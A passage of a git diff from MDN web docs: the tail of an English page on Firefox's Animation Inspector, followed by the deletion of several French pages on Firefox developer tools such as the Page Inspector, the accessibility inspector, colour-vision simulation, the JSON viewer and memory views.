To the left of each bar is a selector for the element that the animation applies to. If you hover over this selector, the element is highlighted in the page. Click the selector to select the element in the inspector.

- -

To the left of the selector is a "target" icon (). Clicking this icon locks the highlighter on the element.

- -

Animation details

- -

If you click one of the bars, you'll see details of all the properties that were changed in the animation. For example, try clicking on the bar for img#icon's animation:

- -

- -

This is telling us that two properties were modified: filter and transform. Each dot represents an entry for that property in the set of keyframes used for the animation. Both properties were initialized at 0ms and finalized at 750ms. filter was given a value at 250ms and transform at 500ms. If you hover over a dot, you'll see the value assigned to that property at that point in the timeline:

- -

- -

This is essentially a visual representation of the animation's keyframes:

- -
var iconKeyframeSet = [
-  { transform: 'scale(1)',   filter: 'grayscale(100%)'                },
-  {                          filter: 'grayscale(100%)', offset: 0.333 },
-  { transform: 'scale(1.5)',                            offset: 0.666 },
-  { transform: 'scale(1.5)', filter: 'grayscale(0%)'                  }
-];
- -

Application to the example

- -

Applying all this to our example, we can see that:

- -
    -
  • The animation involved two elements, span#note and img#icon. Hovering over these selectors, we can see that those elements are, respectively, the browser name "Firefox Developer Edition" and the browser icon.
    • -
  • The img#icon animation: -
      -
    • animated the filter and transform properties, to scale the icon and color it
      • -
    • lasted 750ms, had an endDelay of 100ms
      • -
    • used the compositor thread
      • -
    • was given an easing value of ease-in: you can see this by the concave shape of the green bar.
      • -
    -
    • -
  • The span#note animation: -
      -
    • animated the width and opacity properties, to make the name gradually appear
      • -
    • lasted 500ms, and had a delay of 150ms
      • -
    • was given an easing value of ease-out: you can see this by the convex shape of the green bar.
      • -
    -
    • -
- -

Animation playback

- -

At the top of the animation inspector:

- -
    -
  • there are buttons to play/pause and restart the animation
    • -
  • there's a dropdown to change the animation playback rate
    • -
  • the current time in the animation is displayed.
    • -
- -

Finally, if you click inside the bar at the top of the timeline, you get a scrubber that you can drag left and right to move backwards and forwards through the animation, and pinpoint exactly what's happening when.

- -

Further information about animation compositing

- -

If you open animation-inspector-compositing.html and click the red rectangle, a simple {{cssxref("opacity")}} animation will start. If you look at this in the Animation Inspector in Firefox 49+, you'll see that:

- -
    -
  • The white lightning bolt icon now indicates whether all the animation properties have been optimized by running them through the compositor, where possible.
    • -
  • The bar tooltip also includes this information, as a further reminder. You'll get a message of "All animation properties are optimized."
    • -
  • The expanded animation information now includes a lightning bolt icon next to the properties whose animation has been optimized via the compositor.
    • -
- -

- -

Let's now look at animation-inspector-compositing-silly.html — this is the same example, except that now once the red rectangle is clicked we animate both the {{cssxref("left")}} and {{cssxref("transform")}} (with a translation) properties at the same time as {{cssxref("opacity")}}. It doesn't make much sense to try to animate a geometric property and a translation at the same time — the two effects won't be synchronized — so the transform property is deliberately not handed over to the compositor to handle. The Animation Inspector will tell you this — look at it now and you'll see that:

- -
    -
  • The white lightning bolt icon in the bar has been replaced with a grey lightning bolt icon, to indicate that only some of the relevant properties are being optimized by the compositor.
    • -
  • The bar tooltip also includes this information, as a further reminder. You'll get a message of "Some animation properties are optimized."
    • -
  • Properties whose animation is not being optimized, but could be if you improved your code, are now given a dotted underline — see transform in the screenshot below. Hovering over this gives you a tooltip that explains why. In this case, the message is "Animations of 'transform' cannot be run on the compositor when geometric properties are animated on the same element at the same time."
    • -
- -

- -

Edit @keyframes

- -

Any @keyframes rules associated with the currently selected element are displayed in the Rules view and are editable:

- -

{{EmbedYouTube("mDHtLK88ZW4")}}

- -

Edit timing functions

- -

When you create a CSS animation you can specify a timing function: this determines the rate at which the animation progresses. One way to specify the timing function is with a cubic Bézier curve.

- -

Timing functions defined as cubic Bézier curves get an icon in the Rules view. If you click the icon you get a visual editor for the curve, enabling you to drag P1 and P2, and see the results in the page:

- -

{{EmbedYouTube("GW5-R2ewaqA")}}

- -

This feature uses open source code from Lea Verou’s cubic-bezier.com.

- -

The cubic Bézier editor includes a number of presets, grouped under "Ease-in", "Ease-out", and "Ease-in-out":

- -

{{EmbedYouTube("Jx-J2Yy0aSg")}}

diff --git a/files/fr/outils/inspecteur/index.html b/files/fr/outils/inspecteur/index.html deleted file mode 100644 index ff14d6634c..0000000000 --- a/files/fr/outils/inspecteur/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Inspecteur -slug: Outils/Inspecteur -tags: - - CSS - - DOM - - Développement Web - - HTML - - Outils - - Styles -translation_of: Tools/Page_Inspector ---- -
{{ToolsSidebar}}
- -

L'inspecteur sert à examiner et modifier l'HTML et le CSS d'une page web.

- -

Il est possible d'examiner des pages ouvertes dans un navigateur Firefox local, ou bien dans des cibles distantes, par exemple un navigateur Firefox pour Android. Voir la page débogage distant pour apprendre comment connecter les outils de développement à une cible distante.

- -
-

Visite guidée de l'interface utilisateur

- -

Pour vous repérer dans l’inspecteur, voici une courte visite guidée de l'interface utilisateur.

- -

Depuis Firefox 62, il est possible d'ouvrir la vue de Règles dans son propre panneau, il s'agit du mode à trois panneaux.

- -
-

Comment ?

- -

Pour savoir ce qu'il est possible de faire avec l'inspecteur, regardez les guides pratiques suivants :

- -
- -
- -
-

Référence

- -
- -
diff --git a/files/fr/outils/inspecteur/panneau_html/index.html b/files/fr/outils/inspecteur/panneau_html/index.html deleted file mode 100644 index 26a4192b00..0000000000 --- a/files/fr/outils/inspecteur/panneau_html/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Panneau HTML -slug: Outils/Inspecteur/Panneau_HTML -tags: - - HTML - - Tools - - Web Development - - 'Web Development:Tools' -translation_of: Tools/Page_Inspector/UI_Tour -translation_of_original: Tools/Page_Inspector/HTML_panel ---- -
{{ToolsSidebar}}

Le contenu de cette page à été transféré dans la section "Panneau HTML" de la visite guidée de l'Inspecteur.

diff --git a/files/fr/outils/inspecteur/raccourcis_clavier/index.html b/files/fr/outils/inspecteur/raccourcis_clavier/index.html deleted file mode 100644 index d69433edb7..0000000000 --- a/files/fr/outils/inspecteur/raccourcis_clavier/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Raccourcis Clavier -slug: Outils/inspecteur/Raccourcis_clavier -translation_of: Tools/Page_Inspector/Keyboard_shortcuts ---- -
{{ToolsSidebar}}

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "page-inspector") }}

- -

Raccourcis clavier

- -

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

diff --git a/files/fr/outils/inspecteur/ui_tour/index.html b/files/fr/outils/inspecteur/ui_tour/index.html deleted file mode 100644 index b0f9e07205..0000000000 --- a/files/fr/outils/inspecteur/ui_tour/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Visite guidée de l'interface utilisateur -slug: Outils/Inspecteur/UI_Tour -translation_of: Tools/Page_Inspector/UI_Tour ---- -
{{ToolsSidebar}}
- -

Cet article présente les trois grandes parties de l'interface utilisateur de l'inspecteur, à savoir :

- -
    -
  • Le bouton de sélection d'éléments
    • -
  • Le panneau HTML
    • -
  • Le panneau CSS
    • -
- -

The all-new Inspector panel in Firefox 57.Ce guide est volontairement bref. Des liens vous permettent d'accéder aux pages détaillées expliquant le fonctionnement de l'inspecteur.

- -

Le bouton de sélection d'éléments

- -

L'inspecteur donne accès à des informations détaillées à propos de l'élément sélectionné. Ce bouton est l'une des façons de sélectionner un élément pour l'inspecter :

- -

This is the button in Firefox 57 Inspector you can use to select elements on a web page.

- -

Notez qu'il fait partie de la barre d'outils de la boîte à outils, et qu'il est immédiatement accessible depuis n'importe quel outil, pas seulement depuis l'inspecteur.

- -

Pour savoir comment sélectionner un élément, voir le guide pour sélectionner un élément.

- -

Le panneau HTML

- -

L'inspecteur est divisé en deux parties. Celle de gauche est occupée par le panneau HTML:

- -

These are the tasty new HTML and CSS panes in Firefox 57.

- -

Pour en savoir plus sur la structure du panneau HTML, voir la page "Examiner et éditer le code HTML".

- -

Le panneau CSS

- -

La partie droite est occupée par le panneau CSS :

- -

The rules view within the Inspector.Ce panneau CSS est composé de 5 vues :

- -
    -
  • Règles
    • -
  • Calculé
    • -
  • Disposition
    • -
  • Animations
    • -
  • Polices
    • -
- -

Utilisez ces onglets pour passer d'une vue à une autre.

- -
-

Note : Depuis Firefox 62, il est possible d'ouvrir la vue de Règles dans son propre panneau, il s'agit du mode à trois panneaux.

-
- -

La vue "Règles"

- -

Cette vue liste toutes les règles CSS qui s'appliquent à l'élément sélectionné. Les règles sont ordonnées de la plus précise à la moins précise.

- -

Voir "Examiner et éditer le CSS" pour plus de détails.

- -

La vue "Calculé"

- -

Cette vue liste toutes les règles CSS calculées pour l'élément sélectionné, ainsi qu'une représentation visuelle éditable du modèle de boite.

- -

The Computed view within the Inspector.

- -

 

- -

Pour en savoir plus sur le modèle de boite, voir "Examiner et éditer le modèle de boite". Il est a noter qu'avant Firefox 50, le modèle de boite n'apparaissait pas dans cet onglet puisqu'il avait le sien.

- -

Pour plus de détails sur les déclarations CSS de cette vue, voir "Examiner le CSS calculé".

- -

La vue "Polices"

- -

Cette vue liste toutes les polices présentes dans la page, ainsi que des exemples éditables.

- -

 

- -

The all-new Inspector panel in Firefox 57.

- -

Voir "Voir les polices" pour plus de détails.

- -

La vue "Animations"

- -

Cette vue apporte des détails sur les animations relatives à l'élément sélectionné, ainsi qu'un contrôleur pour les interrompre.

- -

 

- -

This is the Animations pane in the Firefox 57 Inspector.

- -

 

- -

Voir "Travailler avec les animations" pour plus de détails.

diff --git a/files/fr/outils/inspecteur_accessibilite/index.html b/files/fr/outils/inspecteur_accessibilite/index.html deleted file mode 100644 index cc493a0836..0000000000 --- a/files/fr/outils/inspecteur_accessibilite/index.html +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: Inspecteur de l'accessibilité -slug: Outils/Inspecteur_accessibilite -tags: - - Accessibilité - - DevTools - - Guide - - Inspecteur Accessibilié - - Outils -translation_of: Tools/Accessibility_inspector ---- -
{{ToolsSidebar}}
- -

L'inspecteur d'accessibilité permet d'accéder aux informations importantes exposées aux technologies d'assistance sur la page courante via l'arbre d'accessibilité. On peut ainsi de vérifier ce qui manque ou qui nécessite une attention particulière. Dans cet article, nous verrons les principales fonctionnalités de cet outil et comment les utiliser.

- -

Un (très) bref guide sur l'accessibilité

- -

L'accessibilité est un ensemble de pratiques visant à rendre les sites web utilisables par le plus de personnes possible. Cela consiste à éviter de rendre le site inutilisable par les personnes handicapées d'une quelconque façon et/ou utilisant un réseau à faible débit et/ou parlant une certaine langue, etc.

- -

On évoquera souvent ici les personnes avec des handicaps visuels et la façon de rendre le contenu accessible, notamment grâce aux API d'accessibilité disponibles dans les navigateurs et qui permettent d'exposer des informations sur les rôles des différents éléments sur la page (est-ce que ce sont des textes, des boutons, des liens, des éléments de formulaires, autre chose ?).

- -

Les éléments HTML qui existent dans le DOM ont une sémantique qui fournit une indication quant aux rôles par défaut qu'ils sont censés avoir. Toutefois, on utilise parfois des éléments avec une sémantique faible, voire neutre ({{htmlelement("div")}} et {{htmlelement("span")}}) afin de construire des contrôles complexes et pour lesquels, la sémantique HTML ne suffit pas à décrire le but de tels contrôles. Dans ces cas de figure, on pourra utiliser les attributs de rôle WAI-ARIA afin de fournir des rôles spécifiques.

- -

Les rôles des éléments ainsi que les autres informations exposées par les API d'accessibilité sont organisés et présentés au sein d'une structure hiérarchique appelée « l'arbre d'accessibilité ». Cette structure ressemble un peu à l'arbre du DOM mais contient un nombre plus restreint d'éléments et des informations légèrement différentes à leur sujet.

- -

Les outils d'assistance tels que les lecteurs d'écran utilisent ces informations afin de déterminer ce qui se trouve sur une page web, d'indiquer aux utilisateurs ce qui est présent et leur permettre d'interagir avec la page. L'inspecteur d'accessibilité utilise également ces informations afin de pouvoir déboguer les problèmes d'accessibilité grâce aux outils de développement.

- -

Accéder à l'inspecteur d'accessibilité

- -

L'inspecteur d'accessibilité est disponible par défaut à partir de Firefox 63 :

- -

L'onglet de l'inspecteur d'accessibilité, désactivé, dans les outils de développement de Firefox et avec un bouton intitulé « Activer les fonctionnalités d'accessibilité »

- -

Par défaut, les fonctionnalités des outils de développement dédiées à l'accessibilité sont désactivées (sauf si elles ont été activées depuis un autre onglet ou que le moteur d'accessibilité de Firefox est déjà démarré si vous utiliser un lecteur d'écran ou un outil de test). Ces fonctionnalités sont désactivées, car le moteur d'accessibilité fonctionne en arrière-plan et peut consommer des ressources et diminuer les performances qui sont des indicateurs qu'on pourrait suivre via d'autres onglets (Mémoire et Performances par exemple). De même, on peut ne pas vouloir diminuer les performances du navigateur. C'est pour ces raisons que ces fonctionnalités sont désactivées par défaut et qu'il faut les « éteindre » à moins que vous les utilisiez activement.

- -

Vous pouvez activer ces fonctionnalités en cliquant sur le bouton « Activer les fonctionnalités d'accessibilité ».

- -

Une fois le contenu de l'onglet chargé, vous pouvez utiliser le bouton « Désactiver les fonctionnalités d'accessibilité » situé en haut à gauche des outils afin de les désactiver à nouveau. Si vous utilisez un outil qui a besoin du moteur d'accessibilité pour fonctionner, ce bouton sera désactivé.

- -
-

Note : Si vous utilisez les fonctionnalités d'accessibilité dans plusieurs onglets et que vous les désactiver dans un onglet, les fonctionnalités seront désactivées pour tous les onglets.

-
- -

Fonctionnalité du panneau Accessibilité

- -

Le panneau d'accessibilité, lorsqu'il est activé, ressemble à ceci :

- -

Le panneau d'accessibilité des outils de développement Firefox, activé, qui montre deux panneaux d'informations ainsi qu'un bouton pour désactiver les fonctionnalités d'accessibilité.

- -

Sur le côté gauche, on a un arbre hiérarchique qui représente l'ensemble des éléments de l'arbre d'accessibilité de la page courante. Les éléments qui possèdent des éléments fils disposent d'une flèche sur laquelle on peut cliquer afin d'afficher les éléments fils et d'accéder aux niveaux inférieurs de la hiérarchie. Chaque objet de cet arbre possède deux propriétés qui sont affichées :

- -
    -
  • Rôle — le rôle de cet élément sur la page (ex. pushbutton ou footer). Cette valeur peut être celle d'un rôle fourni par le navigateur ou un rôle fourni via l'attribut WAI-ARIA role.
    • -
  • Nom — le nom donné à cet élément sur la page. Le nom dépend de l'élément. Ainsi, la plupart des éléments textuels auront comme nom la valeur de leur attribut textContent tandis que les contrôles de formulaires seront nommés selon l'élément {{htmlelement("label")}} associé.
    • -
- -

Sur le côté droit, on peut voir des informations supplémentaires à propos de l'élément sélectionné à gauche. Les propriétés visibles sont :

- -
    -
  • name — le nom de l'élément, tel qu'indiqué ci-avant.
    • -
  • role — le rôle de l'élément, tel qu'indiqué ci-avant.
    • -
  • actions — une liste d'actions qui peuvent être effectuées sur l'élément. Ainsi, un bouton poussoir (pushbutton) disposerait de l'action "Press" (pour « appuyer ») tandis qu'un lien aurait l'action "Jump" (pour « aller à »).
    • -
  • value — la valeur de l'élément. Cette propriété peut avoir un sens différent selon le type d'élément. Ainsi, un champ d'un formulaire (role: entry) aurait comme valeur celle qui est saisie dans le champ. Pour un hyperlien, la valeur associée serait l'URL indiquée dansvia l'attribut href de l'élément <a>.
    • -
  • DOMNode — le type de nœud du DOM que représente l'élément de l'arbre d'accessibilité. Vous pouvez cliquer sur l'icône de ciblage situé à la droite de la valeur afin de sélectionner le nœud dans l'inspecteur. Survoler cette icône surlignera le nœud sur la page.
    - La propriété DOMNode, située dans l'inspecteur d'accessibilité avec l'icône de ciblage qui permet de mettre en avant l'élément correspondant sur la page.
    • -
  • description — une description plus détaillée fournie par l'élément ; c'est généralement la valeur de l'attribut title.
    • -
  • help — cette propriété n'est pas implémentée par Gecko et renvoie toujours la chaîne de caractères vide. Cette propriété a été retirée de l'inspecteur dans Firefox 62 ({{bug(1467643)}}).
    • -
  • keyboardShortcut — un raccourci clavier qui permet d'activer l'élément, comme indiqué avec l'attribut accessKey. Cette propriété fonctionne correctement à partir de Firefox 62 ({{bug("1467381")}}).
    • -
  • childCount — le nombre d'éléments fils que contient l'élément courant dans la hiérarchie de l'arbre d'accessibilité.
    • -
  • indexInParent — un index qui situe l'élément courant parmi ses voisins par rapport à son élément parent. Si l'élément courant est le premier élément de son élément parent, la valeur de cet index sera 0, si c'est le deuxième élément, cet index vaudra 1, etc.
    • -
  • states — une liste des différents états, liés à l'accessibilité, qui peuvent être appliqués à l'élément courant. Ainsi, un lien pourra avoir les états focusable (recevoir le focus), linked, text selectable, opaque, enabled et sensitive. Pour connaître la liste des différents états internes, voir l'article États dans Gecko.
    • -
  • attributes — une liste de l'ensemble des attributs relatifs à l'accessibilité qui sont appliqués à l'élément. Ces attributs peuvent contenir les attributs stylistiques tels que {{cssxref("margin-left")}} et {{cssxref("text-indent")}} mais aussi des d'autres informations : est-ce que l'élément peut être déplacé à la souris, quel est son niveau de titre, etc. Pour connaître la liste des attributs possibles, voir l'article Attributs d'objet dans Gecko.
    • -
- -
-

Note : Les informations mises à disposition sont les mêmes quelle que soit la plateforme. L'inspecteur expose l'arbre d'accessibilité de Gecko plutôt que les informations d'accessibilité de la plateforme sous-jacente.

-
- -

Contrôles au clavier

- -

Le panneau Accessibilité est intégralement accessible au clavier :

- -
    -
  • Il est possible d'utiliser la touche tabulation pour passer du bouton de désactivation au panneau gauche au panneau droit.
    • -
  • Lorsqu'un des panneaux a le focus, on peut déplacer le focus entre les différents éléments qui compose ce panneau grâce aux flèches haut et bas du clavier. Les flèches droite et gauche permettent de développer ou de réduire les arborescences.
    • -
- -

 

- -

Afficher l'arbre accessibilité en JSON

- -

Il est possible d'afficher l'arbre accessibilité en JSON avec un clic droit sur une ligne dans le panneau Accessibilité et en cliquant sur "Afficher JSON" :

- -

- -

Cela ouvrira un nouvel onglet avec la partie de l'arbre d'accessibilité chargé dans la visualisation JSON :

- -

- -

Une fois ouvert, il est possible de sauvegarder ou copier les données. La visualisation JSON peut également afficher le JSON "brut" dans in onglet séparé.

- -

Fonctionnalités notables associées

- -

Lorsque les fonctionnalités d'accessibilité sont activées, des fonctionnalités supplémentaires deviennent disponibles.

- -

Options de menu contextuel

- -

Une option supplémentaire devient disponible dans le menu contextuel de la page (menu accessible via clic-droit) et dans l'onglet HTML de l'inspecteur (clic-droit sur l'élément) :

- -

Le menu contextuel dans la zone d'affichage du navigateur avec l'option « Inspecter les propriétés d'accessibilité » surlignée

- -

Le menu contextuel de l'inspecteur du DOM avec l'option « Afficher les propriétés d'accessibilité » surlignée

- -

Lorsque vous choisissez l'option « Inspecter les propriétés d'accessibilité » via le menu contextuel, cela ouvre automatiquement le panneau « Accessibilité » des outils de développement et affiche l'élément dans l'arbre d'accessibilité ainsi que ses propriétés.

- -
-

Note : Certains éléments du DOM n'ont pas de propriétés d'accessibilité. Dans ces cas, l'option Inspecter les propriétés d'accessibilité du menu sera masquée.

-
- -

Mise en avant des éléments

- -

Dans le panneau « Accessibilité », lorsque la souris survole un élément d'accessibilité, on peut voir un surlignage semi-transparent qui recouvre l'élément sur la page. Le nom et le rôle de l'élément seront également affichés via une petite barre d'informations au-dessus de l'élément, au côté d'information de contraste de couleur si approprié. On peut ainsi facilement déterminer la correspondance entre les éléments de la page et les éléments de l'arbre d'accessibilité.

- -

Dans l'exemple suivant, on peut voir que l'image a été surlignée, que son rôle est graphic et que son nom est "Road, Asphalt, Sky, Clouds, Fall". On peut également voir le ratio de contraste des couleurs, ici 3.46, qui apparaît dans la barre d'informations au-dessus de l'image.

- -

- -

Contraste des couleurs

- -

Le ratio de contraste est une information particulièrement utile lors de la conception de la palette de couleurs d'un site web. En effet, si les couleurs ne sont pas suffisamment contrastées, les lecteurs souffrant d'un handicap visuel (daltonisme par exemple) ne pourront pas lire le texte de la page. Les règles d'accessibilité web, Web Content Accessibility Guidelines (WCAG) 1.4, indique pour une conformité AA, que le niveau de contraste 4.5.1 est le ratio minimal à respecter entre une couleur de premier plan et une couleur d'arrière-plan pour le texte standard et 4.5.1 pour les titres (critère 1.4.3). Pour une conformité AAA, les rations sont 7.1 pour le texte, et 4.5.1 pour les titres (critère 1.4.6).
-
- Par exemple :

- -

A screenshot of colour contrast highlighter where text contrast if below the AA WCAG threshold.

- -

Le contraste des couleurs du texte sur l'image est de 2.86. Cette valeur, trop faible, indique que le contraste peut ne pas être suffisant pour la lecture. On peut également voir dans cette illustration le symbole triangulaire qui alerte sur le non-respect des règles d'accessibilité.

- -

À partir de Firefox 65, afficher cette information pour un texte aillant une image de fond complexe (i.e un dégradé), donnera une plage de valeurs de contraste. Par exemple :

- -

 

- -

A screenshot of colour contrast highlighter where for text over gradient background with contrast satisfying the AAA WCAG guidelines.

- -

 

- -

On voit avec cette image que le niveau de contraste va de 4.72 à 5.98. Ces nombres sont suivis de la note "AAA" et d'une coche verte qui indique que le texte possède un niveau de contraste supérieur ou égal à 4.5:1 ou plus et qu'il respecte les règles de contraste amélioré, correspondant au niveau AAA.

- -

Voir les bonnes pratiques d'accessibilité CSS et JavaScript pour plus d'informations.

- -

Sélecteur d'accessibilité

- -

Le panneau Inspecteur pour l'inspection du code HTML possède un sélecteur qui permet de choisir un élément sur la page et de le retrouver dans le DOM. De même, le panneau  Accessibilité possède un bouton de sélection sur lequel on peut appuyer pour ensuite survoler la page et choisir un des éléments affichés afin de retrouver l'élément dans le panneau dans l'arbre d'accessibilité.

- -

Les icônes pour les deux sélecteurs (accessibilité et inspecteur HTML) varient légèrement, comme on peut le voir dans ces deux captures d'écran :

- -

Le bouton pour l'inspecteur du DOM est encadré et on peut voir la bulle d'informations « Sélectionner un élément de la page »

- -

Le bouton de l'inspecteur d'accessibilité est encadré en rouge et on peut voir la bulle d'informations « Sélectionner un objet accessible de la page »

- -

Lorsqu'on clique sur un élément de la page grâce à ce sélecteur, on peut voir l'élément sélectionné dans l'arbre d'accessibilité du panneau et le sélecteur est alors désactivé. Pour garder le sélecteur actif tout en voyant les éléments ciblés mis en avant dans l'arbre d'accessibilité, vous pouvez maintenir la touche Maj lors du ciblage (l'arbre d'accessibilité pointera vers l'élément survolé tant que la touche Maj sera enfoncée).

- -

Lorsque le sélecteur est activé, vous pouvez le désactivé en appuyant à nouveau sur le bouton ou en appuyant sur la touche Esc.

- -

Scénarios d'utilisation

- -

L'inspecteur d'accessibilité peut s'avérer particulièrement utile pour localiser les problèmes d'accessibilité. On peut l'utiliser pour dénicher les éléments qui n'ont pas d'équivalent textuel correct (les images sans attribut alt ou les champs de formulaire sans libellé), car ils auront la propriété name qui vaudra null. Par exemple :

- -

Un champ de formulaire surligné dans la page et pour lequel les informations sont affichées dans le panneau accessibilité où on voit que la propriété name est null car cet élément n'a pas de libellé associé

- -

Cet outil est également utile pour vérifier la sémantique des éléments. On peut utiliser le menu contextuel « Inspecter les propriétés d'accessibilité » afin de vérifier rapidement si un élément possède le bon rôle (autrement dit : est-ce qu'un bouton est vraiment indiqué comme un bouton ? est-ce qu'un lien apparaît réellement comme un lien ? etc..

- -

Un élément d'interface qui ressemble à un bouton mais pour lequel les informations affichées dans le panneau accessibilité montrent qu'il n'est pas un bouton mais un élément de section pour lequel la propriété name vaut null

- -

Voir aussi

- - diff --git a/files/fr/outils/inspecteur_accessibilite/simulation/index.html b/files/fr/outils/inspecteur_accessibilite/simulation/index.html deleted file mode 100644 index 5247d65941..0000000000 --- a/files/fr/outils/inspecteur_accessibilite/simulation/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Simulation -slug: Outils/Inspecteur_accessibilite/Simulation -tags: - - Accessibilité - - DevTools - - Guide - - Inspecteur Accessibilié - - Outils - - Simulation - - couleur -translation_of: Tools/Accessibility_inspector/Simulation ---- -

Le simulateur dans l'inspecteur de l'accessibilité des outils de développement de Firefox vous permet de voir à quoi ressemblerait une page web pour les utilisateurs souffrant de diverses formes de déficience de la perception des couleurs (« dyschromatopsie » plus connue sous le nom de « daltonisme »), ainsi que de perte de sensibilité au contraste.

- -

La plupart des personnes atteintes de daltonisme peuvent voir les couleurs, mais ne voient pas toutes les distinctions que les personnes ayant une vision normale des couleurs peuvent voir. Les déficiences de la vision des couleurs affectent la perception de tout le spectre des couleurs, et pas seulement de certaines couleurs spécifiques comme le rouge ou le vert. Les déficiences de la vision des couleurs affectent environ 8 % des hommes et 0,5 % des femmes. Les formes les plus courantes de daltonisme (communément regroupées sous le nom de « daltonisme rouge-vert ») touchent plus d'hommes que de femmes, car elles sont dues à une mutation d'un gène du chromosome X, dont les hommes ne possèdent qu'une copie.

- -

La perte de sensibilité aux contrastes peut être causée par la cataracte, le glaucome, la rétinopathie diabétique et d'autres troubles de la rétine ; elle peut être liée à l'âge, d'origine congénitale ou due à une blessure.

- -
-

Pour activer cette fonctionnalité vous devez avoir activé le webrender. Selon votre configuration de Firefox il peut être activé par défaut. Dans l'éditeur de configuration de Firefox, assurez-vous que l'option gfx.webrender.all est définie sur true.

-
- -

Dans le menu Simuler, vous pouvez choisir une option à la fois dans la liste suivante :

- -
    -
  • Aucun — choisissez cette option pour revenir à un affichage normal ;
    • -
  • Protanomalie (rouge faible) ;
    • -
  • Deutéranomalie (vert faible) ;
    • -
  • Tritanomalie (bleu faible) ;
    • -
  • Protanopie (pas de rouge) ;
    • -
  • Deutéranopie (pas de vert) ;
    • -
  • Tritanopie (pas de bleu) ;
    • -
  • Perte de contraste ;
    • -
- -
-

Ces simulations de ne sont pas tout à fait exactes sur le plan médical. Cependant, elles peuvent vous donner une idée de ce à quoi ressemble votre site web pour les utilisateurs ayant des troubles de la vision, et donc vous aider à juger si vous devez faire des ajustements dans vos choix de couleurs et/ou de contrastes.

-
- -

Le tableau suivant montre une image colorée d'une tête de chat, et à quoi elle ressemble dans les différentes simulations.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SimulationImage affichée
AucunColorful image of a cat's face, without modification
Protanomalie (rouge faible)Colorful image of a cat's face, with deuteranomaly simulation
Deutéranomalie (vert faible)Colorful image of a cat's face, with deuteranomaly simulation
Tritanomalie (bleu faible)Colorful image of a cat's face, with tritanomaly simulation
Protanopie (pas de rouge)Colorful image of a cat's face, with protanopia simulation
Deutéranopie (pas de vert)Colorful image of a cat's face, with deuteranopia simulation
Tritanopie (pas de bleu)Colorful image of a cat's face, with tritanopia simulation
Perte de contrasteColorful image of a cat's face, with contrast loss simulation
- -

Voir aussi

- - diff --git a/files/fr/outils/json_viewer/index.html b/files/fr/outils/json_viewer/index.html deleted file mode 100644 index d92e1ae379..0000000000 --- a/files/fr/outils/json_viewer/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Lecteur JSON -slug: Outils/JSON_viewer -translation_of: Tools/JSON_viewer ---- -
{{ToolsSidebar}}
-

Le Lecteur JSON est une des nouveautés de Firefox 44.

- -

Avant Firefox 53, le Lecteur JSON n'est activé par défaut que dans Firefox Developer Edition et Firefox Nightly. Pour activer cette fonctionnalité dans les autres  versions, il faut passer la préférence devtools.jsonview.enabled à true dans about:config

- -

Depuis Firefox 53, le Lecteur JSON est également activé par défaut dans Firefox Beta et dans la version normale de Firefox.

-
- -

Firefox inclut un lecteur JSON. Lors de l'ouverture d'un fichier JSON ou d'une URL distante avec un Content-Type application/json, il est alors parsé et affiché avec coloration syntaxique. Les tableaux et les objets sont affichés réduits, et peuvent être étendus en cliquant sur les icônes "+".

- -

{{EmbedYouTube("ktFcevMwYXw")}}

- -

Le Lecteur JSON fournit également une barre de recherche pour filtrer le JSON.

- -

Il est également possible d'afficher le JSON originel ainsi que de le formater et l'indenter.

- -

Enfin, si le document était le résultat d'une requête réseau, le lecteur affiche la requête ainsi que les entêtes de réponse.

diff --git a/files/fr/outils/measure_a_portion_of_the_page/index.html b/files/fr/outils/measure_a_portion_of_the_page/index.html deleted file mode 100644 index 4837589662..0000000000 --- a/files/fr/outils/measure_a_portion_of_the_page/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Measure a portion of the page -slug: Outils/Measure_a_portion_of_the_page -translation_of: Tools/Measure_a_portion_of_the_page ---- -
{{ToolsSidebar}}
- -

Nouveau dans Firefox 59.

- -

Depuis Firefox 59, il est possible de mesurer une zone spécifique d'une page web, en utilisant l'outil mesurer une zone de la page.

- -

Cet outil est caché par défaut. Pour activer ce bouton il faut :

- - - -

Un nouveau bouton apparaitra en haut de la page, à côté du bouton des options.

- -

- -

Il suffit alors de cliquer sur ce bouton pour activer l'outil. Une fois activé, un viseur apparait sur le curseur et affiche ses coordonnées à côté.

- -

- -

Lorsque la souris est déplacée avec son bouton enfoncé, l'outil commence a dessiner un rectangle avec les dimensions x,y et diagonale affichée. Les unités sont en pixels.

- -

Lorsque le bouton souris est relâché, le rectangle ne disparait pas afin de pouvoir prendre des captures d'écrans, noter l'information, etc. Pour supprimer le rectangle il suffit de cliquer à nouveau.

- -

diff --git a/files/fr/outils/memory/aggregate_view/index.html b/files/fr/outils/memory/aggregate_view/index.html deleted file mode 100644 index add2eb1979..0000000000 --- a/files/fr/outils/memory/aggregate_view/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Vue "Agrégats" -slug: Outils/Memory/Aggregate_view -translation_of: Tools/Memory/Aggregate_view ---- -
{{ToolsSidebar}}

Avant Firefox 48 il s'agissait de la vue par défaut. Après Firefox 48, la vue "Carte proportionnelle" est la vue par défaut. Pour afficher la vue "Agrégats", il suffit de le sélectionner dans la liste déroulante "vue" :

- -

- -

Cette vue ressemble à ceci :

- -

- -

Cela représente un tableau qui affiche une liste triée du contenu de la heap. Il y a trois façons différentes de visualiser la heap :

- -
    -
  • {{anch("Type")}}
    • -
  • {{anch("Call Stack")}}
    • -
  • {{anch("Inverted Call Stack")}}
    • -
- -

Pour passer de l'une à l'autre, il suffit d'utiliser la liste déroulante "Trier par" en haut du panneau.

- -

En haut à droite, se trouve le champ "Filtrer". Il permet de filtrer le contenu affiché, afin par exemple de pouvoir rapidement voir combien d'objets d'une classe ont été alloués.

- -

Type

- -

Il s'agit du tri par défaut qui ressemble à ceci :

- -

- -

Cette option regroupe la heap par grandes catégories :

- -
    -
  • JavaScript objects: tels que des Function ou des Array
    • -
  • DOM elements: tel que HTMLSpanElement ou Window
    • -
